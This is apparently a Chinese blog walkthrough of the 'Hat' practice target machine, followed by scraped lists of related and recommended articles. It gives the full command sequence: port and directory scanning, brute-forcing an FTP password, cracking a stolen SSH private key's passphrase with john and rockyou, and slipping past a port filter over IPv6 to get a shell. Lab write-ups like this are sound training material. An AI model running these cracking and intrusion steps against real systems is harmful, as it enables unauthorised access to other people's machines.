Hat靶机
Hat靶机的ip是192.168.200.8
先用nmap扫描一下靶机所有的端口
nmap -p- 192.168.200.8
发现22端口不知道是否开放
还有一个65535 的unkown端口

详细查看一下65535端口的信息
nmap  -p 65535 -sV 192.168.200.8
貌似是个ftp 但是尝试匿名连接是连接不上去的

dirsearch扫描了一下80端口的web站点
发现有个logs

但是访问了一下发现啥都没有

于是又用dirsearch扫http://192.168.200.8/logs/发现还是啥都没有
完全懵逼了
看了wp才知道是自己的字典不够强大 上网github把字典下载了
换了一个工具
用gobuster来扫
发现了两个目录

接着扫logs下的目录
不过值得注意的是
gobuster.exe dir -w C:\Users\89135\Desktop\hacktool\fuzz\wordlists-main\wordlists-main\wordlists\discovery\directory_list_lowercase_2.3_medium.txt -u http://192.168.200.8/logs
是扫不出来其他内容的  很奇怪
要加一个 -x的参数 意思是指定扩展名 -x .log,.php 就是指定.log 和 .php结尾的文件
gobuster.exe dir -w C:\Users\89135\Desktop\hacktool\fuzz\wordlists-main\wordlists-main\wordlists\discovery\directory_list_lowercase_2.3_medium.txt -u http://192.168.200.8/ -x .log,.php 
扫出来了个
http://192.168.200.8/logs/vsftpd.log
上网查了一下这个关键词vsftpd.log 是个ftp的登录日志
刚好里面有一个 admin_ftp登录成功了

这就和我们之前的 65535的ftp端口 联系 上了 意思很明显了 就是让我们爆破这个密码
爆破出来
cowboy

连接这个ftp
lftp 192.168.200.8 -p 65535 -u admin_ftp

观察里面的文件

熟悉ssh证书登录的应该知道这个是share文件里面的id_rsa是个私钥
把id_rsa文件复制到id中
cat id_rsa>id
再将id文件转化为hash文件
ssh2john id > hash
然后再用rockyou.txt字典爆破这个解开私钥的密码
john hash --wordlist=/root/Desktop/fuzz/rockyou.txt/rockyou.txt

密码是ilovemyself
那么接下来就分析了既然链ssh证书都有 那么这个22端口大概率是开放的 但是nmap 扫22的时候被过滤了
那么我们怎么绕过呢
可以ipv6来绕过 因为他可能过滤了ipv4但是没有过滤ipv6
ping6 -c2 -n -I eth0 ff02::1 发广播 网段内所有的ipv6地址ping一遍我们就能在里面找到 靶机的ipv6了
找到了ipv6后之久nmap再扫一遍 就会发现他的22端口其实就是开着的

接下来我们就可以用ipv6的地址去连接他的ssh了
我们得先修改一下id文件的权限 不然连接时会报错
chmod 600 id
然后
ssh -i id cromiphi@fe80::20c:29ff:fed7:fd6a%eth0

拿下
Hat靶机的更多相关文章
- DC-9 靶机渗透测试
		DC-9 渗透测试 冲冲冲,好好学习 DC系列的9个靶机做完了,对渗透流程基本掌握,但是实战中出现的情况千千万万,需要用到的知识面太广了,学不可以已. 靶机IP: 172.66.66.139 kali ... 
- KALI Linux problems & Study Red Hat | Ubuntu
		Problem When you ask some website with https head.you may met the problem secure connection failed ... 
- Red Hat Enterprise Server 6.0 安装Sendmail相关包
		由于需要在Linux服务器(Red Hat Enterprise Linux Server release 6.0)上配置邮件服务,需要安装Sendmail包,一般Sendmail的安装有两种方式:R ... 
- Red Hat Enterprise Linux 6.6安装体验
		Red Hat Enterprise Linux 6.6的安装首界面有五个选项,这跟以前的Red Hat Enterprise Linux 5.x的安装界面是有一些区别的. 安装或者升级现有系统( ... 
- Red Hat Enterprise Linux 各个版本以及发布日期
		Red Hat Enterprise Linux 7 Release/Update General Availability Date redhat-release Errata Date* Kern ... 
- linux red hat 给普通用户开启root权限
		环境:虚拟机:red hat 6.5:root角色用户:普通用户:宏基笔记本:win7: 操作过程: 1.登录普通用户,进入图形界面(可以设置为启动登录进入命令行界面): 2.按Crl+ALT+F2进 ... 
- 使用 KGDB 调试 Kernel On Red Hat Linux
		1. KGDB 简介 KGDB 提供了一种使用 GDB 调试 Linux 内核的机制.使用 KGDB 可以象调试普通的应用程序那样,在内核中进行设置断点.检查变量值.单步跟踪程序运行 ... 
- Red hat 6.4下面的qt安装
		运行环境:Red hat 6.4 去官网下载qt5.2并且安装 当启动的时候会出现如下错误 核心载入失败: /opt/Qt5.2.0/Tools/QtCreator/lib/qtcreator/plu ... 
- Red Hat Enterprise Server 5.8+oracle10g(中文界面)安装
		Red Hat Enterprise Server 5.8+oracle10g(中文界面)安装 VMware workstation10(虚拟机)下面安装红帽企业版5.8 创建虚拟机 新建虚拟机,选择 ... 
- 如何安装win10+Red Hat Enterprise Linux双系统?
		1,如何安装win10+Red Hat Enterprise Linux双系统???? 有很多人(没做过调查,可能就我自己想装吧)想要安装Red Hat Enterprise Linux系统,但是又不 ... 
随机推荐
- 在网页上调起本机C#程序
			前言 最近开始整理笔记里的库存草稿,本文是 23 年 5 月创建的了(因为中途转移到 onedrive,可能还不止) 网页调起电脑程序是经常用到的场景,比如百度网盘下载,加入 QQ 群之类的 我之前做 ... 
- Codeforces Round 988 (Div. 3) E题解析
			E题 题目链接 Codeforces Round 988 (Div. 3) 题目描述 题目的思路 根据题目的意思,我们可以推断出算法时间复杂度应该在O(N) 对于这道题而言,我们可以分析下思路 首先我 ... 
- php 安装使用 seaslog扩展
			这是一个高性能的日志记录扩展,能迅速帮你格式化的写入日志文件. 首先来看安装: sudo pecl install seaslog 一句话搞定,然后更新php.ini配置文件 添加启用以及一部分配置 ... 
- Nuxt.js 应用中的 webpack:configResolved事件钩子
			title: Nuxt.js 应用中的 webpack:configResolved事件钩子 date: 2024/11/21 updated: 2024/11/21 author: cmdragon ... 
- 读书笔记-C#8.0本质论-05
			18.3 基于任务的异步编程模式 18.3.1 使用任务并行库(TPL)实现异步执行高延迟操作 using System; using System.Net.Http; using System.Th ... 
- linux模拟HID USB设备及wireshark USB抓包配置
			目录 1. 内核配置 2. 设备配置 附 wireshark USB抓包配置 笔者开发USB设备时的一些记录 1. 内核配置 内核启用USB Gadget,使用fs配置usb device信息. De ... 
- 开源 - Ideal库 - Excel帮助类,设计思路(一)
			今天开始和大家分享关于Excel最长常用操作封装. 01.起因 市面上有很多Excel操作库,这些库设计之初的目标是提供对Excel的各种操作功能,包括数据.样式.公式.图表等等.而对于我们平时开发来 ... 
- AI工具推荐——Cherry Studio
			Cherry Studio介绍 Cherry Studio是一款支持多模型服务的 Windows/macOS GPT 客户端. 它的主要特点如下: 多样化的大型语言模型提供商支持 ️ 主要的大型语言模 ... 
- HTML5 进度条
			1. <progress>标签 进度条 value属性:规定进程的当前值.默认为0 max属性:规定需要完成的值. PS:这里没有最小值设置,或者说最小值一律为0 <progress ... 
- nvm安装node.js无法使用
			前情 最近在使用某此第三方模块需要依赖不同的node版本,于是想通nvm来管理node版本 坑 网上下载nvm-window的安装包,一步步傻瓜式安装下去,发现nrm无法使用,设置环境变量也没有用,再 ... 
